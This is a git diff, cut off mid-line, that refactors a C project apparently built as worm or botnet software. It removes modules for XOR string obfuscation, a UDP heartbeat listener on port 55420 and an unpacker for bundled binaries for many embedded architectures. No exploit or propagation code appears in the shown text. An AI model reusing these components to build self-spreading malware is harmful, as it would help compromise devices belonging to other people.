prne_free_bin_archive(&pne_g.bin_archive); + prne_free_unpack_bin_archive_result(&pne_g.bin_pack); + pne_g.bin_ready = false; - proone_free_rnd_engine(pne_global.rnd); - pne_global.rnd = NULL; + prne_free_rnd_engine(pne_g.rnd); + pne_g.rnd = NULL; - proone_deinit_dvault(); + prne_deinit_dvault(); return exit_code; } diff --git a/src/proone.h b/src/proone.h index 49e9d9c..5911acf 100644 --- a/src/proone.h +++ b/src/proone.h @@ -1,20 +1,20 @@ -#include "proone_pack.h" -#include "proone_rnd.h" +#include "pack.h" +#include "rnd.h" #include #include -struct proone_global { +struct prne_global { uint8_t *host_cred_data; size_t host_cred_size; bool has_proc_lim_lock; bool bin_ready; int caught_signal; - proone_rnd_engine_t *rnd; - proone_unpack_bin_archive_result_t bin_pack; - proone_bin_archive_t bin_archive; + prne_rnd_engine_t *rnd; + prne_unpack_bin_archive_result_t bin_pack; + prne_bin_archive_t bin_archive; }; -extern struct proone_global pne_global; +extern struct prne_global pne_g; diff --git a/src/proone_data.c b/src/proone_data.c deleted file mode 100644 index 7f1a4e7..0000000 --- a/src/proone_data.c +++ /dev/null @@ -1,9 +0,0 @@ -#include "proone_data.h" - - -uint8_t *PROONE_DATA_DICT[NB_PROONE_DATA_KEY] = { - // PROONE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" - (uint8_t*)"\x00\x7F\x00\x25\x09\x24\x82\xC5\x8F\x65\xF8\x96\x35\x02\xF5\xAD\xC9\xF4\x83\x60\xD2\x33\x21\xB1\x3F\xCB\x8C\x8E\x4E\xF8\x18\xBE\x06\x33\xC5\xC4\x43\x7D\x2C\xA3\x7B", - // PROONE_DATA_KEY_SIGN_INIT_OK: "cd264451-2156-4e12-ae1c-89931878a54f" - (uint8_t*)"\x00\x37\x00\x24\x41\xEC\xB4\xD8\xF2\x70\xFE\x92\xC1\x6B\xBD\xB8\x49\x46\x3E\x58\x96\x5C\xB2\x4B\x1E\x23\x1E\x90\xC0\x2C\x95\xCA\xE8\x06\xC2\x00\x95\x58\x9F\x8F", -}; diff --git a/src/proone_data.h b/src/proone_data.h deleted file mode 100644 index 1248565..0000000 --- a/src/proone_data.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once -#include - - -typedef enum { - PROONE_DATA_KEY_NONE = -1, - PROONE_DATA_KEY_PROC_LIM_SHM, - PROONE_DATA_KEY_SIGN_INIT_OK, - NB_PROONE_DATA_KEY -} proone_data_key_t; - - -extern uint8_t *PROONE_DATA_DICT[NB_PROONE_DATA_KEY]; diff --git a/src/proone_dvault.c b/src/proone_dvault.c deleted file mode 100644 index 1da09cc..0000000 --- a/src/proone_dvault.c +++ /dev/null @@ -1,187 +0,0 @@ -#include "proone_dvault.h" - -#include -#include -#include -#include -#include - - -const uint8_t PROONE_DVAULT_MASK[] = { - 0xA2, 0x7A, 0x61, 0x65, 0x78, 0xBE, 0x95, 0x8A, 0xBF, 0x07, - 0x52, 0x8F, 0x0E, 0x6F, 0x0B, 0xD8, 0x5B, 0xD4, 0x77, 0x9D, - 0x39, 0x28, 0x72, 0xE2, 0x42, 0x5D, 0xE7, 0x92, 0xDD, 0xAF, - 0xF7, 0x90, 0x8B, 0x2D, 0x1F, 0xB1, 0x18, 0x4B, 0x3C, 0x32, - 0x58, 0xFC, 0x34, 0x94, 0xCA, 0x31, 0x43, 0xDB, 0x93, 0x55, - 0xB5, 0xEF, 0x02, 0x8E, 0x84, 0x22, 0x88, 0x86, 0xEE, 0xC6, - 0x44, 0xCB, 0xA3, 0xEC, 0x59, 0x8C, 0x8D, 0x7F, 0x6B, 0x0A, - 0x3D, 0xA7, 0x6E, 0x9F, 0x2A, 0x7B, 0x12, 0x7D, 0xBD, 0xF8, - 0x15, 0xAC, 0xF9, 0xD9, 0x3E, 0xF5, 0x38, 0xF4, 0x6D, 0xAB, - 0xE9, 0x4C, 0x0D, 0x3F, 0x71, 0xDF, 0xC0, 0xB9, 0xD5, 0xA6, - 0x53, 0xED, 0xE6, 0x82, 0x73, 0xC8, 0xA5, 0x08, 0x48, 0x1A, - 0x79, 0x05, 0x10, 0x75, 0xF3, 0xE4, 0x85, 0xEB, 0xDC, 0x2C, - 0x23, 0xCD, 0xBC, 0x1C, 0x45, 0x24, 0x5C, 0x26, 0x17, 0xB3, - 0xA0, 0xBB, 0x03, 0xC9, 0xA1, 0x56, 0x2F, 0x91, 0xCF, 0xFE, - 0xC2, 0xAE, 0x54, 0xE1, 0x00, 0x13, 0x9C, 0x5E, 0xAD, 0xB8, - 0xB6, 0x63, 0x9E, 0x7C, 0x87, 0x60, 0x51, 0xFD, 0xF0, 0x76, - 0x4E, 0x4A, 0x9B, 0x1D, 0xF1, 0x0F, 0x06, 0xD1, 0x68, 0x99, - 0x20, 0x81, 0x3A, 0xE3, 0x25, 0xAA, 0x36, 0x98, 0x62, 0x96, - 0xC4, 0x30, 0x37, 0x47, 0x2B, 0x3B, 0x80, 0x64, 0x21, 0x67, - 0xB0, 0xB4, 0x01, 0x89, 0xC1, 0x0C, 0x41, 0xC3, 0x57, 0xB2, - 0x9A, 0x35, 0xBA, 0xD7, 0x66, 0xE0, 0x19, 0xF2, 0x04, 0xFB, - 0x70, 0xD6, 0xFF, 0x40, 0x83, 0xDE, 0xD0, 0xB7, 0xA8, 0xEA, - 0x16, 0x49, 0xFA, 0xCC, 0x11, 0x46, 0xCE, 0xE8, 0x4F, 0xD2, - 0x4D, 0xE5, 0x27, 0x50, 0x6A, 0x74, 0xDA, 0xC7, 0xA4, 0xA9, - 0x5F, 0x97, 0x29, 0x14, 0x6C, 0x7E, 0x1E, 0xC5, 0x5A, 0x1B, - 0x33, 0x69, 0x09, 0x2E, 0xD3, 0xF6 -}; - -static uint8_t *unmasked_buf = NULL; -static size_t unmasked_buf_size = 0; - - -static void pne_dvault_invert_entry (const proone_data_key_t key, size_t *len) { - const size_t entry_size = proone_dvault_get_entry_size(key); - - if (len != NULL) { - *len = entry_size; - } - memcpy(unmasked_buf, PROONE_DATA_DICT[key] + 4, entry_size); - proone_dvault_invert_mem(entry_size, unmasked_buf, proone_dvault_get_entry_salt(key)); -} - -static void pne_dvault_entry_check (const proone_data_key_t key, const proone_data_type_t type) { - if (!(PROONE_DATA_KEY_NONE < key && key < NB_PROONE_DATA_KEY) || - !(PROONE_DATA_TYPE_NONE < type && type < NB_PROONE_DATA_TYPE) || - type != proone_dvault_get_entry_data_type(key)) { - abort(); - } -} - - -const char *proone_data_type2str (const proone_data_type_t t) { - switch (t) { - case PROONE_DATA_TYPE_CSTR: return "cstr"; - } - return NULL; -} - -proone_data_type_t proone_str2data_type (const char *str) { - if (strcmp(str, proone_data_type2str(PROONE_DATA_TYPE_CSTR)) == 0) { - return PROONE_DATA_TYPE_CSTR; - } - return PROONE_DATA_TYPE_NONE; -} - -void proone_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt) { - size_t i; - - for (i = 0; i < size; i += 1) { - m[i] ^= PROONE_DVAULT_MASK[(i + (size_t)salt) % 256]; - } -} - -void proone_init_dvault_mask_result (proone_dvault_mask_result_t *r) { - r->result = PROONE_DVAULT_MASK_OK; - r->str = NULL; - r->str_len = 0; -} - -void proone_free_dvault_mask_result (proone_dvault_mask_result_t *r) { - free(r->str); - r->str_len = 0; - r->str = NULL; - r->result = PROONE_DVAULT_MASK_OK; -} - -proone_dvault_mask_result_t proone_dvault_mask (const proone_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data) { - size_t i; - proone_dvault_mask_result_t ret; - - proone_init_dvault_mask_result(&ret); - - if (data_size > 0x0000FFFF) { - ret.result = PROONE_DVAULT_MASK_TOO_LARGE; - return ret; - } - if (!(PROONE_DATA_TYPE_NONE < type && type < NB_PROONE_DATA_TYPE)) { - ret.result = PROONE_DVAULT_MASK_INVALID_TYPE; - return ret; - } - - ret.str_len = 4 * 4 + 4 * data_size + 1; - ret.str = malloc(ret.str_len); - if (ret.str == NULL) { - ret.result = PROONE_DVAULT_MASK_MEM_ERR; - ret.str_len = 0; - return ret; - } - - sprintf(ret.str, "\\x%02X\\x%02X\\x%02X\\x%02X", - (uint8_t)type, - salt, - (uint8_t)((0x0000FF00 & (uint32_t)data_size) >> 8), - (uint8_t)((0x000000FF & (uint32_t)data_size) >> 0)); - - for (i = 0; i < data_size; i += 1) { - sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PROONE_DVAULT_MASK[(i + (size_t)salt) % 256]); - } - - return ret; -} - -void proone_init_dvault (void) { - size_t max_size = 0; - size_t entry_size; - proone_data_key_t i; - - for (i = PROONE_DATA_KEY_NONE + 1; i < NB_PROONE_DATA_KEY; i += 1) { - entry_size = proone_dvault_get_entry_size(i); - switch (proone_dvault_get_entry_data_type(i)) { - case PROONE_DATA_TYPE_CSTR: - entry_size += 1; - break; - } - - if (entry_size > max_size) { - max_size = entry_size; - } - } - - if (max_size == 0) { - abort(); - } - unmasked_buf = calloc(max_size, 1); - unmasked_buf_size = max_size; - if (unmasked_buf == NULL) { - abort(); - } -} - -void proone_deinit_dvault (void) { - free(unmasked_buf); - unmasked_buf = NULL; -} - -proone_data_type_t proone_dvault_get_entry_data_type (const proone_data_key_t key) { - return (proone_data_type_t)PROONE_DATA_DICT[key][0]; -} - -size_t proone_dvault_get_entry_size (const proone_data_key_t key) { - return (size_t)PROONE_DATA_DICT[key][2] << 8 | (size_t)PROONE_DATA_DICT[key][3]; -} - -uint8_t proone_dvault_get_entry_salt (const proone_data_key_t key) { - return PROONE_DATA_DICT[key][1]; -} - -char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key, size_t *len) { - proone_dvault_reset_dict(); - pne_dvault_entry_check(key, PROONE_DATA_TYPE_CSTR); - pne_dvault_invert_entry(key, len); - return (char*)unmasked_buf; -} - -void proone_dvault_reset_dict (void) { - memset(unmasked_buf, 0, unmasked_buf_size); -} diff --git a/src/proone_dvault.h b/src/proone_dvault.h deleted file mode 100644 index 8dedee6..0000000 --- a/src/proone_dvault.h +++ /dev/null @@ -1,47 +0,0 @@ -#pragma once -#include -#include -#include - -#include "proone_data.h" - - -typedef struct proone_dvault_mask_result proone_dvault_mask_result_t; - -typedef enum { - PROONE_DATA_TYPE_NONE = -1, - PROONE_DATA_TYPE_CSTR, - NB_PROONE_DATA_TYPE -} proone_data_type_t; - -typedef enum { - PROONE_DVAULT_MASK_OK, - PROONE_DVAULT_MASK_MEM_ERR, - PROONE_DVAULT_MASK_TOO_LARGE, - PROONE_DVAULT_MASK_INVALID_TYPE -} proone_dvault_mask_result_code_t; - -struct proone_dvault_mask_result { - size_t str_len; - char *str; - proone_dvault_mask_result_code_t result; -}; - - -extern const uint8_t PROONE_DVAULT_MASK[256]; - -const char *proone_data_type2str (const proone_data_type_t t); -proone_data_type_t proone_str2data_type (const char *str); -void proone_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt); - -void proone_init_dvault_mask_result (proone_dvault_mask_result_t *r); -void proone_free_dvault_mask_result (proone_dvault_mask_result_t *r); -proone_dvault_mask_result_t proone_dvault_mask (const proone_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data); - -void proone_init_dvault (void); -void proone_deinit_dvault (void); -proone_data_type_t proone_dvault_get_entry_data_type (const proone_data_key_t key); -size_t proone_dvault_get_entry_size (const proone_data_key_t key); -uint8_t proone_dvault_get_entry_salt (const proone_data_key_t key); -char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key, size_t *len); -void proone_dvault_reset_dict (void); diff --git a/src/proone_heartbeat-worker.c b/src/proone_heartbeat-worker.c deleted file mode 100644 index 817021e..0000000 --- a/src/proone_heartbeat-worker.c +++ /dev/null @@ -1,159 +0,0 @@ -#include "proone_heartbeat-worker.h" -#include "proone_dvault.h" - -#include -#include - -#include -#include -#include -#include -#include - -#define DECL_CTX_PTR(p) hb_w_ctx_t*ctx=(hb_w_ctx_t*)p - -typedef struct hb_w_ctx hb_w_ctx_t; - -struct hb_w_ctx { - int fd; - int domain; - uint8_t rcv_buf[256]; - bool finalised; -}; - -static const uint16_t HEARTBEAT_DEFAULT_BIND_PORT = 55420; - -static void heartbeat_worker_free (void *in_ctx) { - DECL_CTX_PTR(in_ctx); - close(ctx->fd); - free(ctx); -} - -static void heartbeat_worker_fin (void *in_ctx) { - DECL_CTX_PTR(in_ctx); - ctx->finalised = true; -} - -static void heartbeat_worker_work (void *in_ctx, const proone_worker_sched_info_t *sched_info, proone_worker_sched_req_t *sched_req) { - DECL_CTX_PTR(in_ctx); - - if (sched_req->pollfd_ready) { - const short revents = sched_req->pollfd_arr[0].revents; - - if (revents & (POLLERR | POLLHUP | POLLNVAL)) { - ctx->finalised = true; - sched_req->flags = PROONE_WORKER_SCHED_FLAG_NONE; - return; - } - if (revents & POLLIN) { - socklen_t addr_len; - - // TODO - - if (ctx->domain == AF_INET) { - struct sockaddr_in remote_addr; - - addr_len = sizeof(struct sockaddr_in); - if (recvfrom(ctx->fd, ctx->rcv_buf, sizeof(ctx->rcv_buf), 0, (struct sockaddr*)&remote_addr, &addr_len) == sizeof(ctx->rcv_buf)) { - proone_dvault_invert_mem(sizeof(ctx->rcv_buf) - 1, ctx->rcv_buf + 1, ctx->rcv_buf[0]); - sendto(ctx->fd, ctx->rcv_buf + 1, sizeof(ctx->rcv_buf) - 1, 0, (const struct sockaddr*)&remote_addr, addr_len); - } - } - else { - struct sockaddr_in6 remote_addr; - - addr_len = sizeof(struct sockaddr_in6); - if (recvfrom(ctx->fd, ctx->rcv_buf, sizeof(ctx->rcv_buf), 0, (struct sockaddr*)&remote_addr, &addr_len) == sizeof(ctx->rcv_buf)) { - proone_dvault_invert_mem(sizeof(ctx->rcv_buf) - 1, ctx->rcv_buf + 1, ctx->rcv_buf[0]); - sendto(ctx->fd, ctx->rcv_buf + 1, sizeof(ctx->rcv_buf) - 1, 0, (const struct sockaddr*)&remote_addr, addr_len); - } - } - } - } - - sched_req->flags = PROONE_WORKER_SCHED_FLAG_POLL; - sched_req->mem_func.alloc(sched_req, 1); - sched_req->pollfd_arr[0].fd = ctx->fd; - sched_req->pollfd_arr[0].events = POLLIN; -} - -static bool heartbeat_worker_has_finalised (void *in_ctx) { - DECL_CTX_PTR(in_ctx); - return ctx->finalised; -} - - -bool proone_alloc_heartbeat_worker (proone_worker_t *w) { - bool ret = true; - hb_w_ctx_t *ctx = NULL; - - ctx = (hb_w_ctx_t*)malloc(sizeof(hb_w_ctx_t)); - if (ctx == NULL) { - ret = false; - goto END; - } - ctx->fd = -1; - ctx->domain = 0; - ctx->finalised = false; - - ctx->fd = socket(AF_INET6, SOCK_DGRAM, 0); - if (ctx->fd < 0) { - ctx->fd = socket(AF_INET, SOCK_DGRAM, 0); - - if (ctx->fd < 0) { - ret = false; - goto END; - } - ctx->domain = AF_INET; - } - else { - ctx->domain = AF_INET6; - } - - if (fcntl(ctx->fd, F_SETFL, O_NONBLOCK) < 0) { - ret = false; - goto END; - } - - if (ctx->domain == AF_INET) { - struct sockaddr_in local_addr; - - memset(&local_addr, 0, sizeof(struct sockaddr_in)); - local_addr.sin_family = AF_INET; - local_addr.sin_port = htons(HEARTBEAT_DEFAULT_BIND_PORT); - local_addr.sin_addr.s_addr = INADDR_ANY; - - if (bind(ctx->fd, (const struct sockaddr*)&local_addr, sizeof(struct sockaddr_in)) < 0) { - ret = false; - goto END; - } - } - else { - struct sockaddr_in6 local_addr; - - memset(&local_addr, 0, sizeof(struct sockaddr_in6)); - local_addr.sin6_family = AF_INET6; - local_addr.sin6_port = htons(HEARTBEAT_DEFAULT_BIND_PORT); - - if (bind(ctx->fd, (const struct sockaddr*)&local_addr, sizeof(struct sockaddr_in6)) < 0) { - ret = false; - goto END; - } - } - - w->ctx = ctx; - w->free = heartbeat_worker_free; - w->fin = heartbeat_worker_fin; - w->work = heartbeat_worker_work; - w->has_finalised = heartbeat_worker_has_finalised; - -END: - if (!ret) { - if (ctx != NULL) { - close(ctx->fd); - } - free(ctx); - } - - return ret; -} diff --git a/src/proone_heartbeat-worker.h b/src/proone_heartbeat-worker.h deleted file mode 100644 index aa4c66c..0000000 --- a/src/proone_heartbeat-worker.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once -#include "proone_worker.h" - -#include -#include -#include - - -bool proone_alloc_heartbeat_worker (proone_worker_t *w); diff --git a/src/proone_pack.c b/src/proone_pack.c deleted file mode 100644 index dec602e..0000000 --- a/src/proone_pack.c +++ /dev/null @@ -1,240 +0,0 @@ -#include "proone_pack.h" -#include "proone_util.h" - -#include -#include -#include -#include - -#include -#include -#include - -#include -#include -#include -#include - - -void proone_init_bin_archive (proone_bin_archive_t *a) { - a->data_size = 0; - a->data = NULL; - a->nb_binaries = 0; - a->arch_arr = NULL; - a->offset_arr = NULL; - a->size_arr = NULL; -} - -void proone_init_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r) { - r->data_size = 0; - r->data = NULL; - r->result = PROONE_UNPACK_BIN_ARCHIVE_OK; - r->err = 0; -} - -proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd) { - static const size_t fd_buf_size = 77, bio_buf_size = 58, z_buf_size = 4096; - - proone_unpack_bin_archive_result_t ret; - BIO *b64_bio = NULL, *mem_bio = NULL; - uint8_t *mem = NULL, *fd_buf = NULL, *bio_buf = NULL, *z_buf = NULL; - int fd_read_size, fd_data_size, bio_write_size, bio_read_size; - int z_func_ret; - z_stream stream; - size_t z_out_size; - void *ny_buf; - bool stream_end; - - proone_init_unpack_bin_archive_result(&ret); - memset(&stream, 0, sizeof(z_stream)); - - mem = (uint8_t*)malloc(fd_buf_size + bio_buf_size + z_buf_size); - if (mem == NULL) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR; - ret.err = errno; - goto END; - } - fd_buf = mem; - bio_buf = mem + fd_buf_size; - z_buf = mem + fd_buf_size + bio_buf_size; - - z_func_ret = inflateInit(&stream); - if (z_func_ret != Z_OK) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_Z_ERR; - ret.err = z_func_ret; - goto END; - } - - if ((mem_bio = BIO_new(BIO_s_mem())) == NULL || (b64_bio = BIO_new(BIO_f_base64())) == NULL) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR; - ret.err = ERR_get_error(); - goto END; - } - BIO_set_flags(b64_bio, BIO_FLAGS_BASE64_NO_NL); - BIO_push(b64_bio, mem_bio); - - stream_end = false; - do { - fd_read_size = read(fd, fd_buf, fd_buf_size); - if (fd_read_size < 0) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_ERRNO; - ret.err = errno; - goto END; - } - if (fd_read_size == 0) { - break; - } - - // remove white spaces - fd_data_size = proone_str_shift_spaces((char*)fd_buf, (size_t)fd_read_size); - - if (fd_data_size > 0) { - BIO_reset(mem_bio); - bio_write_size = BIO_write(mem_bio, fd_buf, fd_data_size); - if (bio_write_size != fd_data_size) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR; - goto END; - } - - bio_read_size = BIO_read(b64_bio, bio_buf, (int)bio_buf_size); - if (bio_read_size < 0) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR; - ret.err = ERR_get_error(); - goto END; - } - - if (bio_read_size > 0) { - stream.avail_in = bio_read_size; - stream.next_in = bio_buf; - do { - stream.avail_out = z_buf_size; - stream.next_out = z_buf; - z_func_ret = inflate(&stream, Z_NO_FLUSH); - switch (z_func_ret) { - case Z_STREAM_END: - stream_end = true; - break; - case Z_OK: - case Z_BUF_ERROR: - break; - default: - ret.result = PROONE_UNPACK_BIN_ARCHIVE_Z_ERR; - ret.err = z_func_ret; - goto END; - } - - z_out_size = z_buf_size - stream.avail_out; - if (z_out_size > 0) { - ny_buf = realloc(ret.data, ret.data_size + z_out_size); - if (ny_buf == NULL) { - ret.result = PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR; - ret.err = errno; - break; - } - ret.data = (uint8_t*)ny_buf; - - memcpy(ret.data + ret.data_size, z_buf, z_out_size); - ret.data_size += z_out_size; - } - } while (stream.avail_out == 0); - } - } - } while (!stream_end); - -END: - free(mem); - if (ret.result != PROONE_UNPACK_BIN_ARCHIVE_OK) { - free(ret.data); - ret.data = NULL; - ret.data_size = 0; - } - inflateEnd(&stream); - BIO_free(b64_bio); - BIO_free(mem_bio); - - return ret; -} - -proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_bin_archive_result_t *in, proone_bin_archive_t *out) { - proone_index_bin_archive_result_code_t ret = PROONE_INDEX_BIN_ARCHIVE_OK; - size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PROONE_ARCH], size_arr[NB_PROONE_ARCH]; - proone_arch_t arch; - uint32_t bin_size; - proone_arch_t arch_arr[NB_PROONE_ARCH]; - proone_bin_archive_t archive; - uint8_t *out_buf; - - memset(arch_arr, 0, sizeof(proone_arch_t) * NB_PROONE_ARCH); - memset(offset_arr, 0, sizeof(size_t) * NB_PROONE_ARCH); - memset(size_arr, 0, sizeof(size_t) * NB_PROONE_ARCH); - proone_init_bin_archive(&archive); - - do { - if (buf_pos + 4 >= in->data_size || arr_cnt >= NB_PROONE_ARCH) { - ret = PROONE_INDEX_BIN_ARCHIVE_FMT_ERR; - goto END; - } - - arch = (proone_arch_t)in->data[buf_pos]; - bin_size = - ((uint32_t)in->data[buf_pos + 1] << 16) | - ((uint32_t)in->data[buf_pos + 2] << 8) | - (uint32_t)in->data[buf_pos + 3]; - if (proone_arch2str(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) { - ret = PROONE_INDEX_BIN_ARCHIVE_FMT_ERR; - goto END; - } - - arch_arr[arr_cnt] = arch; - offset_arr[arr_cnt] = 4 + buf_pos; - size_arr[arr_cnt] = bin_size; - arr_cnt += 1; - - buf_pos += 4 + bin_size; - } while (buf_pos < in->data_size); - - out_buf = (uint8_t*)malloc(sizeof(proone_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt + sizeof(size_t*) * arr_cnt); - if (out_buf == NULL) { - ret = PROONE_INDEX_BIN_ARCHIVE_MEM_ERR; - goto END; - } - archive.arch_arr = (proone_arch_t*)out_buf; - archive.offset_arr = (size_t*)(out_buf + sizeof(proone_arch_t) * arr_cnt); - archive.size_arr = (size_t*)(out_buf + sizeof(proone_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt); - - archive.data_size = in->data_size; - archive.data = in->data; - archive.nb_binaries = arr_cnt; - memcpy(archive.arch_arr, arch_arr, arr_cnt * sizeof(proone_arch_t)); - memcpy(archive.offset_arr, offset_arr, arr_cnt * sizeof(size_t)); - memcpy(archive.size_arr, size_arr, arr_cnt * sizeof(size_t)); - - in->data = NULL; - in->data_size = 0; - *out = archive; - -END: - if (ret != PROONE_INDEX_BIN_ARCHIVE_OK) { - proone_free_bin_archive(&archive); - } - - return ret; -} - -void proone_free_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r) { - free(r->data); - r->data = NULL; - r->data_size = 0; - r->result = PROONE_INDEX_BIN_ARCHIVE_OK; - r->err = 0; -} - -void proone_free_bin_archive (proone_bin_archive_t *a) { - free(a->data); - free(a->arch_arr); - a->nb_binaries = 0; - a->data_size = 0; - a->arch_arr = NULL; - a->offset_arr = NULL; - a->size_arr = NULL; -} diff --git a/src/proone_pack.h b/src/proone_pack.h deleted file mode 100644 index eaa63a1..0000000 --- a/src/proone_pack.h +++ /dev/null @@ -1,47 +0,0 @@ -#pragma once -#include -#include - -#include "proone_protocol.h" - - -typedef struct proone_bin_archive proone_bin_archive_t; -typedef struct proone_unpack_bin_archive_result proone_unpack_bin_archive_result_t; - -struct proone_bin_archive { - size_t data_size; - uint8_t *data; - size_t nb_binaries; - proone_arch_t *arch_arr; - size_t *offset_arr; - size_t *size_arr; -}; - -typedef enum { - PROONE_UNPACK_BIN_ARCHIVE_OK, - PROONE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR, - PROONE_UNPACK_BIN_ARCHIVE_Z_ERR, - PROONE_UNPACK_BIN_ARCHIVE_ERRNO, - PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR -} proone_unpack_bin_archive_result_code_t; - -struct proone_unpack_bin_archive_result { - size_t data_size; - uint8_t *data; - proone_unpack_bin_archive_result_code_t result; - long err; -}; - -typedef enum { - PROONE_INDEX_BIN_ARCHIVE_OK, - PROONE_INDEX_BIN_ARCHIVE_FMT_ERR, - PROONE_INDEX_BIN_ARCHIVE_MEM_ERR -} proone_index_bin_archive_result_code_t; - - -void proone_init_bin_archive (proone_bin_archive_t *a); -void proone_init_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r); -proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd); -proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_bin_archive_result_t *in, proone_bin_archive_t *out); -void proone_free_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r); -void proone_free_bin_archive (proone_bin_archive_t *a); diff --git a/src/proone_protocol.c b/src/proone_protocol.c deleted file mode 100644 index 3721440..0000000 --- a/src/proone_protocol.c +++ /dev/null @@ -1,69 +0,0 @@ -#include "proone_protocol.h" -#include - -const char *proone_arch2str (const proone_arch_t x) { - switch (x){ - case PROONE_ARCH_ARMV4T: - return "armv4t"; - case PROONE_ARCH_ARMV7: - return "armv7"; - case PROONE_ARCH_I586: - return "i586"; - case PROONE_ARCH_M68K: - return "m68k"; - case PROONE_ARCH_MIPS: - return "mips"; - case PROONE_ARCH_MPSL: - return "mpsl"; - case PROONE_ARCH_PPC: - return "ppc"; - case PROONE_ARCH_RV32: - return "rv32"; - case PROONE_ARCH_RV64: - return "rv64"; - case PROONE_ARCH_SH4: - return "sh4"; - case PROONE_ARCH_SPC: - return "spc"; - } - - return NULL; -} - -proone_arch_t proone_str2arch (const char *str) { - if (strcmp(str, "armv4t") == 0) { - return PROONE_ARCH_ARMV4T; - } - else if (strcmp(str, "armv7") == 0) { - return PROONE_ARCH_ARMV7; - } - else if (strcmp(str, "i586") == 0) { - return PROONE_ARCH_I586; - } - else if (strcmp(str, "m68k") == 0) { - return PROONE_ARCH_M68K; - } - else if (strcmp(str, "mips") == 0) { - return PROONE_ARCH_MIPS; - } - else if (strcmp(str, "mpsl") == 0) { - return PROONE_ARCH_MPSL; - } - else if (strcmp(str, "ppc") == 0) { - return PROONE_ARCH_PPC; - } - else if (strcmp(str, "rv32") == 0) { - return PROONE_ARCH_RV32; - } - else if (strcmp(str, "rv64") == 0) { - return PROONE_ARCH_RV64; - } - else if (strcmp(str, "sh4") == 0) { - return PROONE_ARCH_SH4; - } - else if (strcmp(str, "spc") == 0) { - return PROONE_ARCH_SPC; - } - - return PROONE_ARCH_NONE; -} diff --git a/src/proone_protocol.h b/src/proone_protocol.h deleted file mode 100644 index c8b7f13..0000000 --- a/src/proone_protocol.h +++ /dev/null @@ -1,25 +0,0 @@ -#pragma once -#include - - -typedef enum { - PROONE_ARCH_NONE = -1, - - PROONE_ARCH_ARMV4T, - PROONE_ARCH_ARMV7, - PROONE_ARCH_I586, - PROONE_ARCH_M68K, - PROONE_ARCH_MIPS, - PROONE_ARCH_MPSL, - PROONE_ARCH_PPC, - PROONE_ARCH_RV32, - PROONE_ARCH_RV64, - PROONE_ARCH_SH4, - PROONE_ARCH_SPC, - - NB_PROONE_ARCH -} proone_arch_t; - - -const char *proone_arch2str (const proone_arch_t x); -proone_arch_t proone_str2arch (const char *str); diff --git a/src/proone_rnd.c b/src/proone_rnd.c deleted file mode 100644 index 5ec4646..0000000 --- a/src/proone_rnd.c +++ /dev/null @@ -1,93 +0,0 @@ -#include "proone_rnd.h" - -#include - -#define N ((size_t)624) - - -struct proone_rnd_engine { - size_t mti; - uint32_t mt[N]; -}; - - -void proone_init_alloc_rnd_engine_result (proone_rnd_engnie_alloc_result_t *r) { - r->engine = NULL; - r->result = PROONE_RND_ENGINE_ALLOC_OK; -} - -proone_rnd_engnie_alloc_result_t proone_alloc_rnd_engine (const uint32_t *s) { - proone_rnd_engnie_alloc_result_t ret; - uint32_t seed; - - proone_init_alloc_rnd_engine_result(&ret); - - if (s == NULL) { - seed = 4357; - } - else { - if (*s == 0) { - ret.result = PROONE_RND_ENGINE_ALLOC_INVALID_SEED; - return ret; - } - seed = *s; - } - - ret.engine = (proone_rnd_engine_t*)malloc(sizeof(proone_rnd_engine_t)); - if (ret.engine == NULL) { - ret.result = PROONE_RND_ENGINE_ALLOC_MEM_ERR; - return ret; - } - - ret.engine->mt[0] = seed; - for (ret.engine->mti = 1; ret.engine->mti < N; ret.engine->mti += 1) { - ret.engine->mt[ret.engine->mti] = 69069 * ret.engine->mt[ret.engine->mti - 1]; - } - - return ret; -} - -void proone_free_rnd_engine (proone_rnd_engine_t *engine) { - free(engine); -} - -uint32_t proone_rnd_gen_int (proone_rnd_engine_t *engine) { - static const size_t M = 397; - static const uint32_t - UPPER_MASK = 0x80000000, - LOWER_MASK = 0x7fffffff, - TEMPERING_MASK_B = 0x9d2c5680, - TEMPERING_MASK_C = 0xefc60000; - static const uint32_t mag01[2] = {0, 0x9908b0df}; - uint32_t y; - - if (engine->mti >= N) { - size_t kk; - - for (kk = 0; kk < N - M; kk += 1) { - y = (engine->mt[kk] & UPPER_MASK) | (engine->mt[kk + 1] & LOWER_MASK); - engine->mt[kk] = engine->mt[kk + M] ^ (y >> 1) ^ mag01[y & 1]; - } - for (; kk < N - 1; kk += 1) { - y = (engine->mt[kk] & UPPER_MASK) | (engine->mt[kk + 1] & LOWER_MASK); - engine->mt[kk] = engine->mt[kk + (M - N)] ^ (y >> 1) ^ mag01[y & 1]; - } - y = (engine->mt[N - 1] & 